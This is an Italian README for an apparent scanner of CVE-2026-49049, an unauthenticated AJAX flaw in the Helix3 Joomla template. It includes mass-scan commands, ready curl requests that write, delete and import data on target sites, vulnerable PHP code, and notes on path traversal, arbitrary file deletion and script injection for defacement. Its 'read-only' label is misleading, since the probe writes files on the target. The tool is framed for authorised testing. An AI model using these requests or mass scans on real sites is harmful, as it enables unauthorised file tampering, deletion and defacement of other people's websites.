
Scansione di vulnerabilità in sola lettura per CVE-2026-49049 — Gestore AJAX non autenticato del plugin Helix3 per Joomla
CVE-2026-49049 colpisce il framework template Helix3 per Joomla (versioni da 1.0 a 3.1.0). Il gestore onAjaxHelix3, raggiungibile tramite il dispatcher com_ajax di Joomla, non esegue alcuna autenticazione, autorizzazione o convalida CSRF su diverse azioni distruttive:
Nota: L’azione
importè stata aggiunta in Helix3 v3.x. I siti che usano v2.x sono vulnerabili solo asaveeremove.
La vulnerabilità è stata scoperta da Phil Taylor (mySites.guru) e pubblicata il 29 giugno 2026.
| Versione Helix3 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Vulnerabile | Non presente |
| 3.0 – 3.1.0 | Vulnerabile | Vulnerabile |
| 3.1.1+ | Corretta | Corretta |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Singolo target
python cve_2026_49049.py -t 192.168.1.100
# Scansione di massa
python cve_2026_49049.py -f targets.txt -o results.txt
# Con report JSON + verboso
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Singolo target (dominio o IP)
-f, --file File con i target, uno per riga
-o, --output Output testuale in tempo reale (default: cve-2026-49049_scan.txt)
--json Report JSON strutturato (default: cve-2026-49049_report.json)
--threads Worker concorrenti (default: 15)
--timeout Timeout HTTP in secondi (default: 15)
-v, --verbose Mostra dettagli del probe
Lo scanner esegue un probe di sola lettura — scrive un file JSON innocuo nella cartella layout di Helix3 tramite l’endpoint save non autenticato, ne verifica la scrittura, e poi lo elimina immediatamente tramite l’endpoint remove. Nessuna modifica persistente viene lasciata sul target.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Scanner per Handler AJAX non autenticato di Joomla
[*] save — accessibile (probe: 3a9719da)
[*] remove — accessibile (probe pulito)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
Lo scanner esegue il probe su questi endpoint esatti. Per verifica manuale:
Passo 1 — Confermare che Helix3 sia installato
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Cercare <version>X.X.X</version>
Passo 2 — Testare l’azione save (scrittura file non autenticata)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Passo 3 — Testare l’azione remove (eliminazione file non autenticata)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
Passo 4 — Testare l’azione import (solo v3.x, non disponibile in v2.x)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Nota: import è stata aggiunta in Helix3 v3.x.
# I siti che eseguono v2.x restituiranno una risposta vuota per questa azione.
Nelle versioni di Helix3 precedenti alla 3.1.1, plugins/ajax/helix3/helix3.php elabora le richieste tramite onAjaxHelix3() senza alcuna protezione:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// Nessun controllo di autenticazione. Nessun token CSRF. Nessuna validazione del percorso.
$filepath = $layoutPath . $layoutName; // path traversal possibile
switch ($action) {
case 'remove':
unlink($filepath); // eliminazione file arbitrario
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // scrittura
break;
}
}
layoutName=../../../somewhere/evil scrive file al di fuori della directory layout previstasave (che aggiunge .json), remove può colpire qualsiasi tipo di filecustom_js viene renderizzata non schermata nell’output del template, abilitando l’iniezione di script su ogni pagina. Questo è il vettore utilizzato negli attacchi di defacement reali.SOLO A SCOPO EDUCATIVO E PER TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che conducono penetration test autorizzati, organizzazioni che eseguono audit della propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
L’accesso non autorizzato a sistemi informatici è illegale e può violare:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori non si assumono alcuna responsabilità per un uso improprio. Utilizzando questo software, accetti la piena responsabilità delle tue azioni.
| Risorsa |
|---|
Questo progetto non è affiliato a JoomShaper, Joomla o Open Source Matters, Inc.
| Azione | Impatto | Disponibile in |
|---|
save | Scrive file JSON controllati dall’attaccante con path traversal | Tutte le versioni |
remove | Elimina file arbitrari — nessuna restrizione su estensione o percorso | Tutte le versioni |
import | Sovrascrive i parametri del template salvati nel database | Solo v3.x |
| Link |
|---|
| Advisory originale (mySites.guru) | Helix3 3.1.1 Security Fix |
| Inserimento NVD | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| GitHub di JoomShaper | Repository Helix3 |